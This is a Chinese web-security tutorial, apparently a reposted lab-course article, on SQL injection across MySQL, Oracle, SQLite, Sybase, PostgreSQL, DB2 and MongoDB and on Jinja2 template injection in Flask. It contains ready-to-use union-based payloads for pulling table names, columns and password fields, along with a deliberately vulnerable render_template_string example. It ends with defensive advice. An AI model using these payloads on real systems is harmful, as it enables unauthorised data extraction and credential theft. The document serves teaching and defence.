第53天-WEB安全深入学习:SQL注入与SSTI实战

admin 2026-03-03 05:08:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入剖析Web安全中SQL注入与SSTI两大经典漏洞。SQL部分详解注入原理、利用流程及MySQL、Oracle等多种数据库的特定语法与实战技巧;SSTI部分聚焦Flask框架,分析漏洞成因并介绍SSTImap工具应用。文中提出参数化查询、模板渲染安全规范等防御建议,兼具理论深度与实战价值。 综合评分: 87 文章分类: WEB安全,漏洞分析,渗透测试


cover_image

第53天-WEB安全深入学习:SQL注入与SSTI实战

原创

萧瑶 萧瑶

AlphaNet

2026年2月26日 14:29 江苏

引言

在Web安全领域,SQL注入和模板注入(SSTI)是两种非常经典的漏洞类型。本文将通过两个演示案例,深入剖析SQL注入在不同数据库中的利用技巧,以及Python Flask框架下Jinja2模板的SSTI注入风险。无论你是安全新人还是开发人员,都能从中获得实用的知识与防御思路。


第一部分:SQL注入深度剖析

  1. 核心知识储备

· 数据库基础概念:库名、表名、列名、数据记录是SQL操作的基本单元。

· 关键元信息:不同数据库都有自带的系统库或系统表(如MySQL的information_schema),存储着数据库的元数据;了解数据库用户及权限对提权至关重要。

· 数据库特有元素:敏感函数(如load_file()、xp_cmdshell)、默认端口(3306、1433、1521等)、数据库查询方法(增删改查)。

  1. SQL注入产生原理

根本原因:代码中拼接的SQL语句,其某个变量由用户可控且未经过严格过滤,导致攻击者可以改变原SQL语句的逻辑。

  1. 影响SQL注入的主要因素

因素 说明

数据库类型 不同数据库的语法、系统表、权限函数不同,直接影响注入手法

数据操作方法 增删改查(SELECT/INSERT/UPDATE/DELETE)对应不同的注入点

参数数据类型 数字型、字符型、搜索型等,涉及闭合符号(引号、括号)

参数数据格式 是否经过编码、加密、压缩,影响payload构造

提交数据方式 GET、POST、Cookie、HTTP头等,注入点可能隐藏在任何位置

有无数据处理 回显、报错、盲注(布尔/时间)、无回显等场景需要不同技巧

  1. 通用利用流程

  2. 判断数据库类型:通过特有函数、语法报错、端口特征等方式。

  3. 判断参数类型及格式:确定是数字型还是字符型,是否需要闭合。

  4. 判断数据格式及提交方式:确认提交方式(GET/POST)和数据格式(URL编码、JSON等)。

  5. 判断数据回显及防护:观察页面是否直接显示数据,是否有WAF过滤。

  6. 获取数据库名 → 表名 → 列名 → 数据:逐层深入,最终获取敏感信息(如管理员账号密码)。

  7. 尝试其他利用:写入文件、执行命令、提权等(取决于数据库权限)。

  8. 黑盒与白盒发现技巧

· 黑盒测试:对所有可能的参数(GET/POST/Header)进行fuzz,根据功能点(如登录、搜索、排序)脑补SQL语句结构进行测试。

· 白盒审计:直接查看代码中SQL语句的拼接方式,关注用户输入是否经过安全处理。详细内容可参考后续代码审计课程。

  1. 各数据库类型注入实战

靶场推荐:

· http://vulnweb.com/

· https://mozhe.cn/Special/SQL_Injection

Access

· 已基本淘汰,意义不大,仅作了解。表名、列名需要爆破。

MySQL

-- 判断数据库版本、当前数据库

id=-1 union select 1,database(),3,4

-- 获取所有表名

id=-1 union select 1,group\_concat(table\_name),3,4 from information\_schema.tables where table\_schema='mozhe\_Discuz\_StormGroup'

-- 获取列名

id=-1 union select 1,group\_concat(column\_name),3,4 from information\_schema.columns where table\_name='StormGroup\_member'

-- 获取数据

id=-1 union select 1,2,group\_concat(id,name,password),4 from StormGroup\_member

· 系统库:information_schema

· 常用函数:database()、version()、user()

MSSQL

· 系统表:sysobjects、syscolumns、sys.tables等

· 利用示例(略,参考Mysql思路,注意’+’连接符)

Oracle

-- 获取第一个用户表的所有者

and 1=2 union select (select distinct owner from all\_tables where rownum=1),'2' from dual

-- 获取第一个表名

and 1=2 union select (select table\_name from user\_tables where rownum=1),'2' from dual

-- 获取指定表的列名(绕过已获取的列)

and 1=2 union select (select column\_name from all\_tab\_columns where rownum=1 and table\_name='sns\_users' and column\_name not in ('USER\_NAME')),'2' from dual

-- 获取数据

and 1=2 union select USER\_NAME,USER\_PWD from "sns\_users" where user\_name not in ('hu')

· 关键点:所有查询必须带有from dual,使用rownum限制行数,注意表名和列名的大小写(通常需要双引号)。

SQLite

-- 获取所有表信息(sqlite\_master保存结构)

union select 1,name,sql,4 from sqlite\_master limit 0,1

-- 直接获取数据

union select 1,name,password,4 from WSTMart\_reg

· 系统表:sqlite_master,包含name(表名)、sql(建表语句)。

Sybase

-- 获取当前数据库名

id=-1 union all select null,db\_name(),null,null

-- 获取当前库的所有表名

id=-1 union all select null,name,null,null from mozhe\_Deepthroat.dbo.sysobjects

-- 获取指定表的列名

id=-1 union all select null,name,null,null from mozhe\_Deepthroat..syscolumns where id=object\_id('Deepthroat\_login')

-- 绕过已获取的列

id=-1 union all select null,name,null,null from mozhe\_Deepthroat..syscolumns where id=object\_id('Deepthroat\_login') and name<>'id'

-- 获取数据

id=-1 union all select null,name,password,null from Deepthroat\_login

· 类似MSSQL,系统表位于dbo下。

PostgreSQL

-- 判断注入点(注意数据类型匹配)

and 1=2 union select 'null',null,null,null

and 1=2 union select null,'null',null,null

-- 获取所有数据库名

and 1=2 union select null,null,string\_agg(datname,','),null from pg\_database

-- 获取public模式下的所有表

and 1=2 union select null,null,string\_agg(tablename,','),null from pg\_tables where schemaname='public'

-- 获取指定表的列名

and 1=2 union select null,null,string\_agg(column\_name,','),null from information\_schema.columns where table\_name='reg\_users'

-- 获取数据

and 1=2 union select null,string\_agg(name,','),string\_agg(password,','),null from reg\_users

· 系统视图:pg_database、pg_tables、information_schema.columns

· 聚合函数:string_agg替代group_concat。

DB2

-- 获取当前模式、服务器信息

id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1

-- 获取当前模式下的表名

id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1

-- 获取指定表的列名(使用limit偏移)

id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME\_CHARACTER' limit 1,1

-- 获取数据

id=-1 union select 1,NAME,PASSWORD,4 from GAME\_CHARACTER limit 0,1

· 系统表:syscat.tables、syscat.columns

· 注意limit的使用。

MongoDB(NoSQL注入)

-- 通过闭合JS语句,返回所有集合名

id=1'});return ({title:'1',content:'2'});return ({content:tojson(db.getCollectionNames()),title:'1

-- 查询指定集合的数据

id=1'});return ({content:tojson(db.Authority\_confidential.find()[0]),title:'

· NoSQL注入利用JavaScript语法,通过闭合来执行任意MongoDB操作。


第二部分:Flask框架与Jinja2模板注入(SSTI)

  1. Flask基础:路由与传参

· 使用@app.route(‘/’)定义路由,支持动态路径/

· 获取参数:

from flask import request

id = request.args.get('id')&nbsp; &nbsp;# GET参数

name = request.form.get('name') # POST参数
  1. Jinja2模板渲染方式

· render_template:渲染外部HTML文件。

· render_template_string:直接渲染字符串模板(最危险,若字符串中包含用户输入则可能造成SSTI)。

· Template.render:手动创建模板对象并渲染。

  1. SSTI漏洞成因

当开发者将用户输入直接作为模板字符串的一部分进行渲染时,攻击者可以注入Jinja2模板语法(如{{ 7*7 }}),进而通过模板引擎的内置对象(如config、self、__class__等)获取敏感信息甚至执行代码。

典型示例:

from flask import Flask, request, render\_template\_string

app = Flask(\_\_name\_\_)

@app.route('/')

def hello():

name = request.args.get('name', 'world')

template = '<h1>Hello, {}!</h1>'.format(name)&nbsp; &nbsp;# 直接拼接

return render\_template\_string(template)

攻击者访问/?name={{config}}即可看到Flask配置信息。

  1. 利用工具:SSTImap

· 项目地址:https://github.com/vladko312/SSTImap

· 自动化检测和利用SSTI漏洞,支持多种模板引擎(Jinja2、Twig、Freemarker等)。

  1. 实际案例

· CTF赛题:通过SSTI绕过过滤、读取文件、甚至RCE。参考:https://www.cnblogs.com/gaorenyusi/p/18213835

· 代码审计:真实应用中因错误使用render_template_string导致的漏洞。参考:https://mp.weixin.qq.com/s/e9xTNgqIE3Q3R3cNbMUH8A


总结与安全建议

  1. SQL注入防御:

· 使用参数化查询(PreparedStatement)或ORM框架。

· 严格过滤输入,对数据类型进行强校验。

· 最小化数据库权限,避免使用高权限账户连接。

  1. SSTI防御:

· 避免直接拼接用户输入到模板字符串中。

· 使用render_template配合静态模板文件。

· 若必须动态渲染,使用Jinja2的沙箱模式或对输入进行严格过滤。

安全是一场攻防博弈,深入理解漏洞原理才能有效防范。希望本文能为你打开一扇窗,在Web安全之路上走得更远。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet 萧瑶 萧瑶《第53天-WEB安全深入学习:SQL注入与SSTI实战》

正版kali 网络安全文章

正版kali

文章总结: 文档仅展示标题‘正版kali’、作者信息及未来日期元数据,正文内容主要由图片占位符构成,未提供任何实质性技术文本、操作指南或分析内容。该文档信息密度
评论:0   参与:  0